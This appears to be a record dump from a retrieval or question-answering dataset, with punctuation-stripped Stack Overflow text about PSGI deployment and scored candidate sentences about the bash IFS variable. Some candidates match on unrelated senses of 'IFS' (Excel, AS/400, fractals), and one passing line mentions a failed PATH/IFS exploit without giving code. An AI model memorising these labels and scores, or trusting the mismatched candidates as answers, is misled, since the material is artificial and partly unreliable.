Dancer but not decided yet . The applicatiion should be utf8 multilingual with Locale : : Maketext and ofc will contain some statical pages in the given language . My idea is deploy it in different language domains like en.example.com de.example.com etc . The application itself is simple mostly will only fill templates with localized texts and some other light functionality . What is the best solution to deploying one application for mutiple language-based sub-domains in one physical machine My current research ended with this solution : need to use Apache and its name based virtual servers for every language subdomain . Questions : .. . .. . What is the best solution Exists any solution with Starman or other pure-perl server If yes how Reverse proxy Will be the pure perl solution better faster should i consider some other solution fcgi nginx etc.. . .. . .. . Any other ideas things what can have impact to development itself .. . Answer : Use Plack : : App : : URLMap to setup a virtualhost in Starman or whatever PSGI compatible web servers : .. . .. . in generate app you can setup configure whatever needed to return a new PSGI app . If you want to share the same app instance but want to dynamically change the behavior you can do so by writing PSGI middleware like : .. . .. . Note that you probably want to put Starman behind proxy in which case you should configure the frontend nginx Apache lighttpd etc . to forward the Host : header as it is to the backend .", "Question : What are the best practices for deploying a Perl application Assume that you are deploying onto a vanilla box with little CPAN module installation . What are the ideal build deploy methods Module : : Build ExtUtils : : MakeMaker other I am looking for some best practice ideas from those who have done this repeatedly for large scale applications . The application is deploying onto a server . It s not CPAN or a script . It s actually a PSGI web application . That is a ton of Perl packages . I currently have a deployment script that uses Net : : SSH : : Expect to SSH into new servers install some tools and configure the server then pull down the desired application branch from source control . This feels right but is this best practice The next step is building the application . What are the best practices for tracking and managing dependencies installing those dependencies from CPAN and ensuring the application is ready to run Thanks .. . Answer : You may take a look at sparrowdo https : sparrowhub.org a perl6 configuration-management tool it comes with some handy plugins related to perl5 deployment like installing cpan packages or deploying psgi application . Disclosure - I am the tool author .", "Question : null .. . Answer : I have a lot of CGI web-applications under apache2 which have complex jQueryUI powered interfaces and corresponding perl backend based upon CGI : : Application framework . For user it looks like this : .. . .. . 1 . localsrv.lan some report xls .. . 2 . localsrv.lan some insert db .. . 3 . localsrv.lan some perl plsql stuff etc.. . .. . .. . Now I want to turn those apps psgi which is easy and somehow run those under Apache- ProxyPass Starman .. . .. . Should I run Starman for every app using lots of ports for all of them Should I somehow use mapping url with Plack : : App : : URLMap and how Should I create one single app out of all those hundreds to run it with Starman .. . Is there another way to do it Comment : I would use Plack : : App : : URLMap or Plack : : Builder https : metacpan.org pod Plack : : Builder URLMap-support which uses Plack : : App : : URLMap under the hood to mount each of your apps to a separate URL . Then you can run that single PSGI app with Starman and requests to the different URLs will be handled by your various apps . Comment : Thanks alot . I will follow your advice .", "Question : null .. . Answer : The Plack : : Builder https : metacpan.org pod Plack : : Builder allows mount multiple hosts e.g . something as the following snippet : .. . .. . e.g . the load site names returns a list of sites like http : example.com http : some.other.site.com .. . .. . every virtual-host will use the same Some : : PsgiFramework : : MyApp .. . just their config is different .. . .. . I need exactly the above - need develop one simple web-app which should be deployed for hunderts of different low-traffic sites and don t want setup an different PSGI server for each site . However the author of the Plack itself says in the Plack : : Request https : metacpan.org pod Plack : : Request .. . .. . Note that this module is intended to be used by Plack middleware developers and web application framework developers rather than application developers end users . .. . Writing your web application directly using Plack : : Request is certainly possible but not recommended : it s like doing so with mod perl s Apache : : Request : yet too low-level . .. . If you re writing a web application not a framework then you re encouraged to use one of the web application frameworks that support PSGI http : plackperl.org frameworks or see modules like HTTP : : Engine to provide higher level Request and Response API on top of PSGI . And this is the problem . I checked many of different PSGI based frameworks in the MetaCPAN . And AFAIK each is singleton based e.g . doesn t allows write applications which could be shared mounted many times for different sites in the same app.psgi . So the questions are : .. . .. . missed I something in the MetaCPAN or in the docs and here exists any lighweight web-framework which allows develop applications mountable many times in the app.psgi or i m forced to develop Just Another My Own PSGI Framework To be honest I not checked the catalyst - as it is too heavy-weight .. . or just badly understand the mounting Comment : So is the code base the same for each site you will serve probably with different data Possible you could add a en.wikipedia.org wiki Reverse proxy https : en.wikipedia.org wiki Reverse proxy in front of your server to serve all the addresses Comment : You probably don t want to use Plack : : Builder for mounting hundreds of different PSGI apps . According to the Plack : : App : : URLMap docs https : metacpan.org pod Plack : : App : : URLMap PERFORMANCE : If you map or mount with Plack : : Builder N applications Plack : : App : : URLMap will need to at most iterate through N paths to match incoming requests . It is a good idea to use map only for a known limited amount of applications since mounting hundreds of applications could affect runtime request performance . Comment : Having said that you can select which config file to use in a Dancer2 app via an environment variable and you can mount the same Dancer2 app multiple times although I haven t figured out how to do both of these at once . Maybe try asking if it s possible on the dancer-users mailing list http : lists.preshweb.co.uk mailman listinfo dancer-users . Comment : What about using a single instance of Some : : PsgiFramework : : MyApp and using env- HTTP HOST or the framework s equivalent to customize each site That s what I do for some multilingual sites . Comment : Every PSGI app can be mounted multiple times framework or not . It seems that your actual question is Which PSGI frameworks support reading different config files depending on the HTTP host", "Question : What are the best practices for deploying a Perl application Assume that you are deploying onto a vanilla box with little CPAN module installation . What are the ideal build deploy methods Module : : Build ExtUtils : : MakeMaker other I am looking for some best practice ideas from those who have done this repeatedly for large scale applications . The application is deploying onto a server . It s not CPAN or a script . It s actually a PSGI web application . That is a ton of Perl packages . I currently have a deployment script that uses Net : : SSH : : Expect to SSH into new servers install some tools and configure the server then pull down the desired application branch from source control . This feels right but is this best practice The next step is building the application . What are the best practices for tracking and managing dependencies installing those dependencies from CPAN and ensuring the application is ready to run Thanks .. . Answer : If it has some significant CPAN dependencies then you might want to either write a small script that uses CPAN : : Shell to install the necessary modules or edit the Makefile.PL of your application so that it reflects the necessary dependencies in the BUILD REQUIRES portion of the file .", "Question : We have many isolated installations of a PSGI app that run on the same machine and thus require their PSGI servers to run on unique ports . This is less than ideal from a resource management perspective but it also requires the yet-unmeasured and possibly insignificant overhead of TCP IP when a Unix domain socket would seem to be more obvious choice when running on the same machine . Fortunately the app works under Plack s HTTP interface proxied from Apache via mod-proxy s ProxyPass but unfortunately it breaks under the FastCGI interface see : Can PSGI apps fork under Plack : : Handler : : FCGI http : stackoverflow.com questions 14643165 can-psgi-apps-fork-under-plackhandlerfcgi . Other than mod-fastcgi s FastCgiExternalServer or patching mod-proxy with this untested user-contributed patch : http : mail-archives.apache.org mod mbox httpd-dev 201207.mbox 3C20120731200351.GB11038@gmail.com 3E is there any way to proxy Apache connections over a Unix domain socket to a PSGI app .. . Answer : There is mod-proxy fdpass https : httpd.apache.org docs 2.4 mod mod-proxy fdpass.html which allows Apache to proxy to domain sockets although I haven t tried it . I was personally recommend using the standard each-app-on-a-port arrangement unless you can measure the overhead to be worth doing something unconventional for . You also have the option of using one private-to-the-server IP address per app and having them all run on port 80 on their private IPs .", "Question : I am trying to understand implementations options for server-side Websocket endpoints - particularly in Perl using PSGI Plack and I have a question : Why are all server-side websocket implementations based around event-driven PSGI servers Twiggy Tatsumaki etc . I get that websocket communication is asynchronous but a non-event driven PSGI server say Starman could spawn an asynchronous listener to handle the websocket side of things . I have seen but not understood PHP implementations of Websocket servers so why cant the same be done with PSGI without having to change the server to an event-driven one Comment : Websockets typically involve long-running connections . With a pre-fork server you ll quickly run out-of-memory on your server . Comment : First hit for php websockets http : socketo.me docs deploy involves a separate async process . .. . Answer : Underlying network logic to deal with sockets depends on platform OS and particular software implementations . Most common three methods are : .. . .. . pulling - there is blocking constant asking if socket has some data . This method is well bad as it will block execution of main thread for as long as it waits for some data . thread per socket - each new connection involves creating new thread and asking each socket in blocking manner happens within that thread . So it wont block main thread with logic . This method is bad as creating thread for each connection is too expensive for memory and can be around 1Mb or RAM based on OS and other criteria . async - uses system features to notify your process when there is something . So you can react once your app is ready in case of single-threaded app or even react in separate thread straight away . This method is well efficient as it saves RAM and allows your app to work without need of waiting or asking for data . It utilises existing functionalities that most OS and platforms provide . Taking this in account you indeed can create single process functional way to deal with sockets traffic . But that is not efficient at all as been proven previously . That is why fully async models are major today as most languages and platforms do support such paradigm .", "Question : I am started to look at the PSGI I know the response from the application should be an array ref of three elements code headers body : .. . .. . The question is how to send a file for example zip or pdf for download to the browser . .. . Answer : Take a look at perl dancer http : www.perldancer.org it has psgi support and is a very lightweight framework . example : .. . .. . run with chmod 0755 . path to file.pl . path to file.pl .. . .. . call with : .. . .. . wget host : port Comment : unfortunately I am not using any frameworks just need a raw method to send the file through PSGI . Comment : In that case try taking a look at this search.cpan.org miyagawa Plack-1.0030 lib Plack Response.pm http : search.cpan.org miyagawa Plack-1.0030 lib Plack Response.pm it says that response- body can take a file handle .", "Question : null .. . Answer : I m making a web service that will use data sent to it via a form but i would like to know how to get to use that data in my psgi application.. . .. . .. . How do i receive the data and use it in the script and then process it then give the response back to the client who requested . Basically it is plack driven and will have Perl modules . Comment : Are you using framework or are you doing all the hard work yourself Comment : I haven t thought of a framework for now Comment : Dancer http : www.perldancer.org has seemed to me to be the easiest to get started with for new Perl programmers . use Dancer get sub Hello World dance It also runs under PSGI . Comment : I ll have to look into the framework" ] }
[ "yes-answer-long", "yes-answer-short" ]
interface
UNK_RELATION
ifs@posix@48
ifs -- ifs is a variable in unix shells bourne @placeholder sh bash ksh that controls how unescaped substitutions are split into words .
{ "confidence": [ 60.86402130126953, 46.12477111816406, 44.763484954833984, 44.53241729736328, 43.9677734375, 43.63197326660156, 43.186946868896484, 40.941131591796875, 40.33475875854492, 39.71052169799805, 39.71052169799805, 39.21683120727539, 39.07046890258789, 38.95711135864258, 38.173789978027344, 38.13398361206055, 37.96932601928711, 37.96932601928711, 37.96932601928711, 37.96932601928711, 37.712337493896484, 37.64029312133789, 37.520263671875, 37.49393081665039, 37.00776672363281, 37.00776672363281, 37.00776672363281, 37.00776672363281, 36.61640167236328, 36.25492858886719, 36.25492858886719, 36.25492858886719, 36.06010055541992, 36.06010055541992, 35.83457946777344, 35.740238189697266, 35.547733306884766, 35.547733306884766, 35.547733306884766, 35.547733306884766, 35.547733306884766, 35.49763488769531, 35.16343688964844, 35.16343688964844, 35.16343688964844, 35.16343688964844, 35.16343688964844, 35.16343688964844, 35.16343688964844, 35.000282287597656, 35.000282287597656, 34.7083625793457, 34.50185012817383, 33.938880920410156, 33.9281005859375, 33.7529182434082, 33.64559555053711, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.58689880371094, 33.423744201660156, 33.423744201660156, 33.41649627685547, 33.167930603027344, 33.167930603027344, 33.167930603027344, 33.16717529296875, 33.16717529296875, 33.098079681396484, 32.87220764160156, 32.6063117980957, 32.6063117980957, 32.541015625, 32.50737762451172, 32.50737762451172, 32.50737762451172, 32.50737762451172, 32.122047424316406, 32.10407638549805, 32.03776931762695, 31.938705444335938, 31.600479125976562, 31.28749656677246, 31.28749656677246, 31.1024169921875, 31.06557846069336, 30.93083953857422, 30.93083953857422, 30.93083953857422, 30.93083953857422, 30.93083953857422, 30.93083953857422, 30.93083953857422, 30.93083953857422 ], "content": [ "By the definition of IFS surely it would mean that unescaped substitutions would be split into words using a newline rather than a space .", "Blank IFS is don t split .", "Default IFS is not an unset IFS .", "You are getting two words back the normal IFS will split that correctly .", "For this I try to set the IFS to : in the scope of the command so that the split is automatic and IFS remains untouched : .. . .. . And apparently IFS remains the same : .. . .. . The BASH reference http : www.gnu.org software bash manual bashref.html Word-Splitting says that : .. . .. . If IFS is unset the parameters are separated by spaces .", "IFS basically sets IFS to null .", "So with IFS IFS", "Hi IFS is for space but what is", "yes but default IFS unset IFS is not the same than empty IFS that is the one used in this set .", "Isn t IFS : command changing IFS just in the scope of the command being executed", "Great point about the difference between echo IFS and echo IFS .", "+1 cat doesn t use IFS things like IFS read a b c work because read is a bash builtin not an external program .", "A newline is part of the default IFS setting in other words it is a delimiter .", "by manipulating IFS .", "IFS behaves fine with read on the same line : .. . .. . Check value of IFS : .. . .. . so clearly IFS has not been tampered in current shell .", "I have found following code line in script : IFS IFS", "Why are you having - in IFS if you dont want to split on hyphen .", "IFS is used not just to join the elements of X but also to split the unquoted expansion @ .", "@EtanReisner So is there NO absolute way to do a blank split using IFS", "There s no split every character trick with IFS that I m aware of .", "IFS n doesn t set IFS to newline it sets IFS to a literal string n .", "That s because IFS is set to : .. . .. . Output : .. . .. . man bash says : .. . .. . IFS The Internal Field Separator that is used for word splitting after expansion .. .", "It means you are specifying the IFS to use newline for splitting .", "Regardless of the value of IFS words in a command are separated by unquoted whitespace .", "echo NextFile IFS read .. .", "IFS read WORKING STORE .", "Regarding question 1 : IFS", "did you try IFS", "I then read in a comment to one of the answers http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n comment9330981 4128305 that to make it posix compatible for shells other than bash one could use IFS echo -e n .", "Perfect just an editorial comment in case 2 : IFS unset should be IFS empty .", "When you write .. . .. . IFS expands to : but because : is the first character of IFS it is removed during word splitting .", "MS Office description of IFS https : support.office.com en-us article IFS-function-36329a26-37b2-467c-972b-4a39bd951d45 .", "i tought with changing the IFS Variable i can do this in this case too", "Should I store it in a temporary variable or run IFS and the for statement in a subshell", "In IFS we are creating Crystal Reports for the reports that is not given by IFS .", "How can I use IFS to seperate the string to 5 parts like this", "Just unset IFS and then populate array", "Is there a way to do the same thing with IFS", "No IFS based splitting on individual character .", "But I need an alternative to the syntax for IFS .", "And the IFS read it as the separation of two values .", "When assigning to a variable IFS characters should be stripped : the results shall be split into fields as in the shell for the results of parameter-expansion of course -n and -N are not POSIX .", "In your case it will act same as IFS n", "So if IFS is null then it s the same as newline", "If IFS is null the parameters are joined without intervening separators .", "Using .. . .. . would show that IFS is still set to : .", "for starters as far as I know there is no IFS formula in Excel .", "I take that back about the IFS statement .", "my understanding of the IFS is it only dealt with true conditions .", "I m learning bash and I saw this construction : .. . .. . Can anyone explain what IFS do", "Running these commands gives expected results .. . .. . However it appears with Bash 4.2 the IFS value is being ignored .. . .. . What is causing this difference", "There is not such thing as ELF for IFS .", "That usage of IFS is not local to that one line .", "I read in a stackoverflow question http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n that IFS n could be used and that seems to work fine .", "By doing IFS cat foo foo expands well as 111 222 333 not affected by IFS as shown by cat which is 111 222 333 .", "- Stack Overflow http : stackoverflow.com questions 16831429 when-setting-ifs-to-split-on-newlines-why-is-it-necessary-to-include-a-backspac .. . .. . Is there any danger to doing what s discussed there IFS echo -en n b", "I understand on CHGAUT USER PUBLIC refers to the last group of IFS aka UNIX permission settings .", "IFS is only used for splitting fields in a single string .", "By default permission setting under IFS will be 700 .", "Try n but why are you messing with IFS at all", "Not sure if I m getting caught up on the loop or on the IFS .", "takes off two characters from the left of IFS .", "I have two specific questions about the IFS .", "Setting the IFS doesn t seem to do anything .", "Add the IFS as part of your program s call to system .", "Because that adds a b to IFS I checked .", "There is a bug in bash fixed in version 4.3 that causes the IFS setting to be incorrectly mixed with the parameter-expansion in the here string .", "I m aware that changing the internal field separator IFS changes what the bash script iterates over .", "And what if there are other scripts executing during that time at which the value of the variable is changed which make use of the IFS variable", "And since IFS is used both to combine the fields being expanded and then to split them again the gets swallowed by field splitting .", "Also your line : .. . .. . is really no different from .. . .. . Since that expansion is not quoted it will be word-split using the current value of IFS .", "As mentioned above if the expansion is not quoted the expanded text is then word-split using the value of IFS .", "To illustrate first observe with IFS set to nothing : .. . .. . The line variable contains all the white space it received on its stdin .", "So IFS will-change the behavior of assigning a white-space to a variable and causes a space to be assigned to c rather than a null .", "As we have IFS to change the field separators does Bash have any other variable to set the record separators like awk for example has", "Example file : .. . .. . How to use IFS : to read that file with a .sh file line by line and add the third part so that it would output the addition e.g .", "When the expansion occurs within a double-quoted string see Double-Quotes it shall expand to a single field with the value of each parameter separated by the first character of the IFS variable or by a if IFS is unset .", "I ve tried playing around with the IFS variable but I don t really know what I m doing with it and can t seem to get it working with that either although I suspect the solution has something to do with IFS .", "If you want to set IFS to newline use :", "This is a different question and I m asking only about what IFS means .", "IFS does many things but you are asking about that particular loop .", "I m trying to parse a .csv file and I have some problems with IFS .", "I would like to use multiple criteria for one criteria in an IFS formula .", "If I want to read a string and split it on a given delimiter I can set IFS and store string slices in an array .", "IFS is the Internal Field Separator it controls word-splitting it has no effect on multi-line control .", "So I made an usr executeable in my Home-Directory and set the Path to the Home PATH HOME : PATH .. . .. . And I want to change the IFS Variable in the bash to : export IFS .. . .. . Unfortunatelly when i call the C-Programm : my exploit doesn t work .. . .. . Is anybody able to tell me what is wrong", "It was the circularity of IFS being used to affect the display of IFS that confused me initially I was pretty sure assignment statements didn t have environments but I couldn t immediately put my finger on why echo IFS seemed to display the old value .", "A follow up question - what happens if there are multiple lines in input how does -r and IFS affect multiple line inputs", "IFS is a file system with many binaries and scripts .", "In my company we are using IFS as an ERP solution .", "I see in Setting IFS for a single statement http : unix.stackexchange.com a 92190 40596 that this indeed works : .. . .. . But I don t understand why it does and IFS : d myvar does not .", "This is an example script based on @rici http : stackoverflow.com users 1566221 rici s answer : .. . .. . Output .. . .. . .. . .. . Bash manpage says : .. . .. . The shell treats each character of IFS as a delimiter and splits the results of the other expansions into words on these characters .", "I m playing around with the Iterated Function System IFS Chaos Game algorithms .", "I got some headache managing AS 400 IFS authorities .", "IFS read h e l l o temp does not work .", "Rather than setting IFS globally set it just for the read command .", "IFS read -a params str will reset the delimeter globally or only for this statement", "Prepending IFS to a command makes it affect just the scope of the command .", "Here s my example : .. . .. . But why does the length not get affected by the new IFS", "Note that once the child-process is terminated the IFS set will no longer be available in the parent ." ] }
{ "confidence": [ 63.19157028198242, 62.17501449584961, 61.702274322509766, 58.968849182128906, 55.98268127441406, 54.68650817871094, 53.030250549316406, 53.0267219543457, 52.46464538574219, 51.88681411743164, 51.35261917114258, 50.394718170166016, 49.209129333496094, 48.669471740722656, 48.593387603759766, 47.8452033996582, 47.581642150878906, 47.06857681274414, 46.62691116333008, 46.15440368652344 ], "content": [ "Question : Hi IFS is for space but what is Comment : A new line return Comment : @musefan hi are you telling me or asking me Comment : I had a feeling you were going to say that.. . I am guessing as it seems logical . I would have though you were in some sort of position to be able to validate that . By the definition of IFS surely it would mean that unescaped substitutions would be split into words using a newline rather than a space . You might want to consider modifying your question to include some context . Where have you seen it like this for example Comment : i saw in internet today somewhere brother but cannot fin it again : is there anything like that .. . Answer : It means you are specifying the IFS to use newline for splitting . This would be similar to doing : .. . .. . The difference being is that your way is POSIX compliant . My sources for this answer are here http : stackoverflow.com a 26157072 838807 and here http : stackoverflow.com a 19822980 838807 .. . .. . You may find that the different methods are preferred depending on which shell implementation you are using I think that s the right term .. . .. . NOTE : My answer is based purely on the last 10 minutes of research I have no prior experience or knowledge with this .", "Question : In Shell script I want to achieve something like below : .. . .. . I want to split it and concatenate each item as below and assign to some variable .. . .. . so that I can use above concatenated string in my next command as below .. . .. . I found a way using local IFS and for-loop but the variable updated inside loop is not retaining value outside of loop because it runs in a separate bash . .. . Answer : Below code would do : .. . .. . Also when you pass new string as parameter to curl double quote it to prevent word splitting and globbing so do : .. . .. . Note : or herestring is only supported in a few shells Bash ksh or zsh if I recall correctly . If your shell does not support it use echo pipe combination .", "Question : I m trying to use for in the shell to iterate over filenames with spaces . I read in a stackoverflow question http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n that IFS n could be used and that seems to work fine . I then read in a comment to one of the answers http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n comment9330981 4128305 that to make it posix compatible for shells other than bash one could use IFS echo -e n . The former works but the latter doesn t . The comment is upvoted several times . I checked the output and the variable doesn t seem to contain the newline . The output shows the field separator is missing for the first : .. . .. . .. . But is proper on the second : .. . .. . .. . .. . .. . I found an answered question which may or may not be a duplicate of my question : .. . linux - When setting IFS to split on newlines why is it necessary to include a backspace - Stack Overflow http : stackoverflow.com questions 16831429 when-setting-ifs-to-split-on-newlines-why-is-it-necessary-to-include-a-backspac .. . .. . Is there any danger to doing what s discussed there IFS echo -en n b Because that adds a b to IFS I checked . Can a b occur in a file name I don t want my code to split a file name by mistake . Also do you have any recommendations on how to properly handle restoration of IFS after the for-loop Should I store it in a temporary variable or run IFS and the for statement in a subshell and how to do that Thanks .. . Answer : Since newlines are stripped by command substitution as @DigitalTrauma correctly wrote you should use a different POSIX compliant way . writes a newline and assign it to it . Simple and effective . If you don t like assignments that span over two lines you may use printf as alternative . Comment : Thank you for the information I will keep that in mind", "Question : I m trying to use for in the shell to iterate over filenames with spaces . I read in a stackoverflow question http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n that IFS n could be used and that seems to work fine . I then read in a comment to one of the answers http : stackoverflow.com questions 4128235 bash-shell-scripting-what-is-the-exact-meaning-of-ifs-n comment9330981 4128305 that to make it posix compatible for shells other than bash one could use IFS echo -e n . The former works but the latter doesn t . The comment is upvoted several times . I checked the output and the variable doesn t seem to contain the newline . The output shows the field separator is missing for the first : .. . .. . .. . But is proper on the second : .. . .. . .. . .. . .. . I found an answered question which may or may not be a duplicate of my question : .. . linux - When setting IFS to split on newlines why is it necessary to include a backspace - Stack Overflow http : stackoverflow.com questions 16831429 when-setting-ifs-to-split-on-newlines-why-is-it-necessary-to-include-a-backspac .. . .. . Is there any danger to doing what s discussed there IFS echo -en n b Because that adds a b to IFS I checked . Can a b occur in a file name I don t want my code to split a file name by mistake . Also do you have any recommendations on how to properly handle restoration of IFS after the for-loop Should I store it in a temporary variable or run IFS and the for statement in a subshell and how to do that Thanks .. . Answer : Update - changing my pseudo-comment to a real answer . I think this answer http : unix.stackexchange.com questions 17732 where-has-the-trailing-newline-char-gone-from-my-command-substitution should explain the behavior you are seeing . Specifically command substitution operators and backticks will strip trailing newlines from the command output . However the direct assignment in your second example doesn t do any command subsitution so works as expected . So I m afraid to say I think the upvoted comment you refer to is incorrect . .. . .. . I think the safest way to restore IFS is to set it in a subshell . All you need to do is put the relevant commands in parentheses : .. . .. . Of course invoking a subshell incurs a small delay so performance needs to be considered if this is to be repeated many times . .. . .. . As an aside be very careful filenames can contain both b and n . I think just about the only characters they cannot contain are slash and 0 . At least thats what it says on this wikipedia article http : en.wikipedia.org wiki File name Comparison of filename limitations .", "Question : On my GNU bash version 4.3.42 1 -release I am doing some tests to answer a question http : stackoverflow.com a 33416160 1983854 . The idea is to split a : -separated string and and each of its elements into an array . For this I try to set the IFS to : in the scope of the command so that the split is automatic and IFS remains untouched : .. . .. . And apparently IFS remains the same : .. . .. . The BASH reference http : www.gnu.org software bash manual bashref.html Word-Splitting says that : .. . .. . If IFS is unset the parameters are separated by spaces . If IFS is null the parameters are joined without intervening separators . However then I notice that the IFS is kind of broken so that echo myvar returns a b c instead of a : b : c . Unsetting the value solves it : .. . .. . But I wonder : what is causing this Isn t IFS : command changing IFS just in the scope of the command being executed I see in Setting IFS for a single statement http : unix.stackexchange.com a 92190 40596 that this indeed works : .. . .. . But I don t understand why it does and IFS : d myvar does not . .. . Answer : In bash you can set set a variable that is valid for a single statement only if that statement is not itself a variable assignment . For example : .. . .. . To make the second assignment part of a statement you need .. . some other statement . As you ve noticed eval works . In addition read should work : Comment : Note that this issue arose in a question requiring POSIX-compliant code which is why the here string wasn t considered . Comment : Aaah so this is the issue I couldn t understand why eval was making it work . Comment : Thanks again . Pity I cannot accept the three answers since I learnt much from them all Comment : My pleasure . And notwithstanding the fact that I diagnosed the issue first in the other Q chepner s answer to this question was the only one that included the correct terminology of simple commands . And of course anubhava doesn t need any more points he s already already earned an all-time high score . :", "Question : On my GNU bash version 4.3.42 1 -release I am doing some tests to answer a question http : stackoverflow.com a 33416160 1983854 . The idea is to split a : -separated string and and each of its elements into an array . For this I try to set the IFS to : in the scope of the command so that the split is automatic and IFS remains untouched : .. . .. . And apparently IFS remains the same : .. . .. . The BASH reference http : www.gnu.org software bash manual bashref.html Word-Splitting says that : .. . .. . If IFS is unset the parameters are separated by spaces . If IFS is null the parameters are joined without intervening separators . However then I notice that the IFS is kind of broken so that echo myvar returns a b c instead of a : b : c . Unsetting the value solves it : .. . .. . But I wonder : what is causing this Isn t IFS : command changing IFS just in the scope of the command being executed I see in Setting IFS for a single statement http : unix.stackexchange.com a 92190 40596 that this indeed works : .. . .. . But I don t understand why it does and IFS : d myvar does not . .. . Answer : I was going to comment on this when I saw you use it but it didn t occur to me until just now what the problem was . The line .. . .. . doesn t temporarily set IFS it simply sets two variables in the current shell . Simple commands can be prefixed with local environment settings but an assignment statement itself is not a simple command . When you write .. . .. . IFS expands to : but because : is the first character of IFS it is removed during word splitting . Using .. . .. . would show that IFS is still set to : . Comment : Great point about the difference between echo IFS and echo IFS . As everybody always says quote your variables in bash . : - Comment : It was the circularity of IFS being used to affect the display of IFS that confused me initially I was pretty sure assignment statements didn t have environments but I couldn t immediately put my finger on why echo IFS seemed to display the old value . : Comment : Niiiice and thanks for the answer indicating why I was doing it the wrong way .", "Question : On my GNU bash version 4.3.42 1 -release I am doing some tests to answer a question http : stackoverflow.com a 33416160 1983854 . The idea is to split a : -separated string and and each of its elements into an array . For this I try to set the IFS to : in the scope of the command so that the split is automatic and IFS remains untouched : .. . .. . And apparently IFS remains the same : .. . .. . The BASH reference http : www.gnu.org software bash manual bashref.html Word-Splitting says that : .. . .. . If IFS is unset the parameters are separated by spaces . If IFS is null the parameters are joined without intervening separators . However then I notice that the IFS is kind of broken so that echo myvar returns a b c instead of a : b : c . Unsetting the value solves it : .. . .. . But I wonder : what is causing this Isn t IFS : command changing IFS just in the scope of the command being executed I see in Setting IFS for a single statement http : unix.stackexchange.com a 92190 40596 that this indeed works : .. . .. . But I don t understand why it does and IFS : d myvar does not . .. . Answer : IFS behaves fine with read on the same line : .. . .. . Check value of IFS : .. . .. . so clearly IFS has not been tampered in current shell . Now check original input : .. . .. . or : Comment : Interesting and many thanks anubhava . Note what the other posters mention seems to be the problem : my command is executing two assignments . So what you suggest is clever : instead of two assignments we now have one temporal assignment and a command . Comment : As always thanks a lot for your kind answer anubhava It s a pity I cannot accept the three answers since all of them add very valuable information Comment : You re most welcome . You ve indeed marked the right answer as accepted as @Chepner correctly explained the cause of the problem .", "Question : I have two specific questions about the IFS . I m aware that changing the internal field separator IFS changes what the bash script iterates over . So why is it that the length of the array doesn t change Here s my example : .. . .. . But why does the length not get affected by the new IFS The second thing that I don t understand is how to make the IFS affect the input arguments . Let s say I m expecting my input arguments to look like this : .. . .. . And I want to parse the input arguments by setting the IFS to : . How do I do this Setting the IFS doesn t seem to do anything . I must be doing this wrong... . Thank you . .. . Answer : Bash arrays are in fact arrays . They are not strings which are parsed on demand . Once you create an array the elements are whatever they are and they won t change retroactively . However nothing in your example creates an array . If you wanted to create an array out of argument 2 you would need to use a different syntax : .. . .. . Although your strings to find is not an array bash allows you to refer to it as though it were an array of one element . So strings to find @ will always be one regardless of the contents of strings to find . Also your line : .. . .. . is really no different from .. . .. . Since that expansion is not quoted it will be word-split using the current value of IFS . If you use an array most of the time you will not want to write for string in strings to find @ because that just reassembles the elements of an array into a string and then word-splits them again which loses the original array structure . Normally you will avoid the word-splitting by using double quotes : .. . .. . As for your second question the value of IFS does not alter the shell grammar . Regardless of the value of IFS words in a command are separated by unquoted whitespace . After the line is parsed the shell performs parameter and other expansions on each word . As mentioned above if the expansion is not quoted the expanded text is then word-split using the value of IFS . If the word does not contain any expansions no word-splitting is performed . And even if the word does contain expansions word-splitting is only performed on the expansion itself . So if you write : .. . .. . my function will be called with a single argument no expansion takes places so no word-splitting occurs . However if you use 1 unquoted inside the function the expansion of 1 will be word-split if it is expanded in a context in which word-splitting occurs . On the other hand .. . .. . will cause my function to be invoked with three arguments . And finally .. . .. . is exactly the same as the first invocation because there is no : in the expansion .", "Question : Being new to shell scripting I am not clear about the Quoting and splitting concepts in bash . In the below snippet : .. . .. . with IFS being : - I thought the result would be : .. . .. . as I had quoted them france-country . I think it should not get split on - . But the results were : .. . .. . It would be great if someone can point me out my mistake in understanding . Comment : Why are you having - in IFS if you dont want to split on hyphen . Just remove it .. . Answer : For your problem you can simply change the field separator as : i.e . IFS : because each country name is separated by : not : - in your example .. . .. . FYI array elements in bash are separated by space so the whole string france-country : Italy-country : singapore-country is a single element of the array therefore echo array1 @ will always be 1 . So I do not see any use of an array in this example . Simple variable would have been suffice .", "Question : I m trying to split key-value pairs around an sign which I then use to edit a config file using bash . But I need an alternative to the syntax for IFS . The below works on my host system but when i log in to my ubuntu virtual-machine through ssh I have the wrong bash version . Whatever I try fails . I am definitely calling the right version of bash at the top of the file using bin bash and I ve tried bin sh etc too . I know I can use IFS as follows on my host mac os x system : .. . .. . But this doesn t work on my vm . I also know that I can should be able to switch the syntax through backticks or echo var .. . but I can t get it to work - as follows : .. . .. . Grateful for any pointers as I m really new to bash . Comment : What bash version does your VM have What error are you getting Comment : Syntax error : redirection unexpected 4.3.11 1 -release Comment : Related : Bash split string on delimiter assign segments to array http : stackoverflow.com questions 15777996 bash-split-string-on-delimiter-assign-segments-to-array .. . Answer : Your attempts have been confounded because you have to use the variable in the same sub-shell as read . And if you want your variable durable ie outside the sub-shell scope : .. . .. . Clearly it isn t pretty . .. . .. . Update : If -a is missing that suggests you re out of the land of arrays . You can try parameter substitution : .. . .. . And if that doesn t work fall back to good ole cut : Comment : both of these work on my mac but give me a bad substitution illegal option -a error on the vm Comment : Alternatives posted . Good luck Comment : Thanks - managed to get your third example working", "Question : I have two specific questions about the IFS . I m aware that changing the internal field separator IFS changes what the bash script iterates over . So why is it that the length of the array doesn t change Here s my example : .. . .. . But why does the length not get affected by the new IFS The second thing that I don t understand is how to make the IFS affect the input arguments . Let s say I m expecting my input arguments to look like this : .. . .. . And I want to parse the input arguments by setting the IFS to : . How do I do this Setting the IFS doesn t seem to do anything . I must be doing this wrong... . Thank you . .. . Answer : This is an example script based on @rici http : stackoverflow.com users 1566221 rici s answer : .. . .. . Output .. . .. . .. . .. . Bash manpage says : .. . .. . The shell treats each character of IFS as a delimiter and splits the results of the other expansions into words on these characters . 